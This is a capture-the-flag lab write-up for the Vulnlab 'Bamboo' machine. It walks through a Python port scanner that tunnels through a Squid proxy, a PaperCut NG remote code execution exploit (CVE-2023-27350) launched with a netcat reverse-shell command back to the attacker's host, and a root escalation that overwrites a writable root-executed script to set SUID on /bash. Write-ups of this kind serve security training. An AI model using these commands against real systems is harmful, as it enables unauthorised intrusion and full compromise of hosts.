Vulnlab - Bamboo

Post image


Introduction

This write-up documents the process of identifying and exploiting vulnerabilities on a server hosting a Squid proxy and a vulnerable instance of PaperCut NG. Privilege escalation is achieved by leveraging weak file permissions and a misconfigured scheduled execution of a trusted binary.

Nmap

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 83:b2:62:7d:9c:9c:1d:1c:43:8c:e3:e3:6a:49:f0:a7 (ECDSA)
|_  256 cf:48:f5:f0:a6:c1:f5:cb:f8:65:18:95:43:b4:e7:e4 (ED25519)
3128/tcp open  http-proxy Squid http proxy 5.2
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/5.2

The Squid proxy service on port 3128 is particularly noteworthy for enumeration.

Enumeration

Proxy Port Scanning

A Python script was written and used to scan the target’s open ports via the Squid proxy. The script leverages the CONNECT HTTP method to identify open ports and fetch service banners:

import socket
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed

def check_port_with_banner(proxy, proxy_port, target, port):
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(2)
            s.connect((proxy, proxy_port))

            connect_request = f"CONNECT {target}:{port} HTTP/1.1\r\nHost: {target}:{port}\r\n\r\n"
            s.sendall(connect_request.encode())
            response = s.recv(1024).decode()

            if "200 Connection established" in response:
                banner = fetch_http_server_info(s)
                return port, banner
    except Exception as e:
        pass
    return None, None

def fetch_http_server_info(connected_socket):
    try:
        connected_socket.sendall(b"HEAD / HTTP/1.1\r\nHost: localhost\r\n\r\n")
        response = connected_socket.recv(2048).decode()
        server_info = parse_server_header(response)
        return server_info
    except Exception:
        return "HTTP (No details)"

def parse_server_header(response):
    headers = response.split("\r\n")
    http_version = headers[0].split(" ")[0] if headers else "HTTP/1.1"
    for header in headers:
        if header.lower().startswith("server:"):
            return f"{http_version} - {header.split(':', 1)[1].strip()}"
    return http_version

def scan_ports(proxy, proxy_port, target, port_range, threads):
    open_ports = []
    start_port, end_port = port_range
    with ThreadPoolExecutor(max_workers=threads) as executor:
        futures = {
            executor.submit(check_port_with_banner, proxy, proxy_port, target, port): port
            for port in range(start_port, end_port + 1)
        }
        for future in as_completed(futures):
            port, banner = future.result()
            if port:
                print(f"[+] Port {port} open - Service: {banner}")
                open_ports.append((port, banner))
    return open_ports

def main():
    parser = argparse.ArgumentParser(description="Scan open ports through an HTTP proxy and fetch service banners.")
    parser.add_argument("-p", "--proxy", required=True, help="HTTP proxy IP or hostname")
    parser.add_argument("-pp", "--proxy-port", type=int, default=3128, help="HTTP proxy port (default: 3128)")
    parser.add_argument("-t", "--target", required=True, help="Target IP or hostname")
    parser.add_argument("-r", "--port-range", default="1-65535", help="Port range to scan (default: 1-65535)")
    parser.add_argument("-th", "--threads", type=int, default=50, help="Number of concurrent threads (default: 50)")
    args = parser.parse_args()

    start_port, end_port = map(int, args.port_range.split('-'))
    port_range = (start_port, end_port)

    print(f"[+] Scanning ports {start_port}-{end_port} on {args.target} through proxy {args.proxy}:{args.proxy_port}")
    print(f"[+] Using {args.threads} threads for scanning.")
    open_ports = scan_ports(args.proxy, args.proxy_port, args.target, port_range, args.threads)

    print("\n[+] Scan completed.")
    for port, banner in open_ports:
        print(f"    - Port {port}: {banner}")

if __name__ == "__main__":
    main()
└─$ python3 port_scan.py -p 10.10.80.172 -pp 3128 -t 10.10.80.172
[+] Scanning ports 1-10000 on 10.10.80.172 through proxy 10.10.80.172:3128
[+] Using 50 threads for scanning.
[+] Port 22 open - Service: SSH-2.0-OpenSSH_8.9p1
[+] Port 3128 open - Service: HTTP/1.1 - squid/5.2
[+] Port 9174 open - Service: HTTP/1.0
[+] Port 9173 open - Service: HTTP/1.1
[+] Port 9191 open - Service: HTTP/1.1
[+] Port 9193 open - Service: 
[+] Port 9195 open - Service: P
[+] Port 9192 open - Service: P

Exploitation

PaperCut NG Vulnerability (CVE-2023-27350)

The service on port 9191 was identified as a PaperCut NG instance (version 22.0), vulnerable to an unauthenticated remote code execution (RCE) exploit.

The exploit is executed through proxychains to route the request through Squid:

└─$ proxychains python3 CVE-2023-27350.py -u http://127.0.0.1:9191 -c 'busybox nc 10.8.4.110 8787 -e bash'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[*] Papercut instance is vulnerable! Obtained valid JSESSIONID
[*] Updating print-and-device.script.enabled to Y
[*] Updating print.script.sandboxed to N
[*] Prepparing to execute...
[+] Executed successfully!
[*] Updating print-and-device.script.enabled to N
[*] Updating print.script.sandboxed to Y

A Netcat listener was set up on port 8787 to catch the reverse shell:

└─$ nc -lnvp 8787
listening on [any] 8787 ...
connect to [10.8.4.110] from (UNKNOWN) [10.10.78.83] 42978
whoami
papercut
python3 -c "import pty; pty.spawn('/bin/bash')"

The user flag was retrieved:

papercut@bamboo:~$ cat user.txt 
VL{CENSORED}

Privilege Escalation

Identifying Scheduled Execution

Using pspy to monitor processes, it was discovered that server-command was executed as root when triggered through the PaperCut web interface:

papercut@bamboo:~$ ./pspy64
...
2024/12/17 10:59:08 CMD: UID=0     PID=51336  | /bin/sh /home/papercut/server/bin/linux-x64/server-command get-config health.api.key 
...

The binary server-command was writable by the papercut user:

papercut@bamboo:~$ ls -la /home/papercut/server/bin/linux-x64/server-command
-rwxr-xr-x 1 papercut papercut 493 Sep 29  2022 /home/papercut/server/bin/linux-x64/server-command

Overwriting server-command

The binary was replaced with a script to grant SUID permissions to /bin/bash:

papercut@bamboo:~$ cp /home/papercut/server/bin/linux-x64/server-command /home/papercut/server/bin/linux-x64/server-command.bak
papercut@bamboo:~$ echo -e '#!/bin/sh\nchmod ug+s /bin/bash' > /home/papercut/server/bin/linux-x64/server-command

Triggering the Vulnerability

The "Refresh servers" option in the PaperCut interface triggered the execution of server-command as root. This was observed with pspy:

...
2024/12/17 11:06:42 CMD: UID=0     PID=51396  | bash -c "/home/papercut/server/bin/linux-x64/server-command" get-config health.api.key 
2024/12/17 11:06:42 CMD: UID=0     PID=51397  | chmod ug+s /bin/bash

Gaining Root Access

With SUID permissions set on /bin/bash, a root shell was obtained:

papercut@bamboo:~$ bash -p
bash-5.1# id
uid=1001(papercut) gid=1001(papercut) euid=0(root) egid=0(root) groups=0(root),1001(papercut)
bash-5.1# cat /root/root.txt
VL{CENSORED}